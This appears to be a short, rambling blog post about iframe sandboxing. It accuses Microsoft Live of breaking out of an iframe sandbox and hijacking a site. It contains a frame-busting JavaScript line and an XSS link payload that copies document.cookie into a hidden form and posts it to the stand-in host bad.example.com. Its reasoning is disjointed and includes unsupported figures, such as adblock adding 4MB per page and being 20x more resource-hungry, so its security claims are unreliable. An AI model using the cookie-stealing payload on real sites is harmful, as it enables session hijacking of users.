Generally speaking the iframe tags are supposed to sandbox and lockdown the contents. Recently this was breached by Microsoft Live who broke out of the <iframe> sandbox and redirected the site to live.com
Microsoft used at least 2 frame busting techniques to break out of the sandbox. Both of which show that browser security is very deficient in addition to web site security. The incident clearly revealed that attack on a server can have very dramatic consequences.
If the iframe comes from a different domain such as an advertiser, a browser’s cross-domain policy would kick in, preventing the iframe from accessing cookies, local storage, or the DOM from its embedding document. Even so, cross-domain iframes still have the ability to trigger alerts, run plugins (malicious or otherwise), autoplay videos, and present submittable forms in an attempt to phish users’ information.
<iframe sandbox src="example.com"></iframe>
For the most part the sandbox mode should not be necessary, most Advertisers are secure,.Still it’s important to take every security step possible,
if (top!= self) top.location.href = self.location.href; // break out of a frame
The memory overhead is also very brutal for both the server and the browser. This is how adblockers try to tamper with websites using filters..Adblock ads 4MB per page in CSS overhead, The irony is that ad blocking is 20x more resource hogging than any iframe advertisement.
<a href=http://www.example.com/req.asp?name= <FORM action=http://www.bad.example.com/data.asp method=post id="idForm"> <INPUT name="cookie" type="hidden"> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > Click here! </a>
This script is now Live used the same technique used by blackhole web sites.
SSL is a false sense of security when the site was hijacked by MSFT.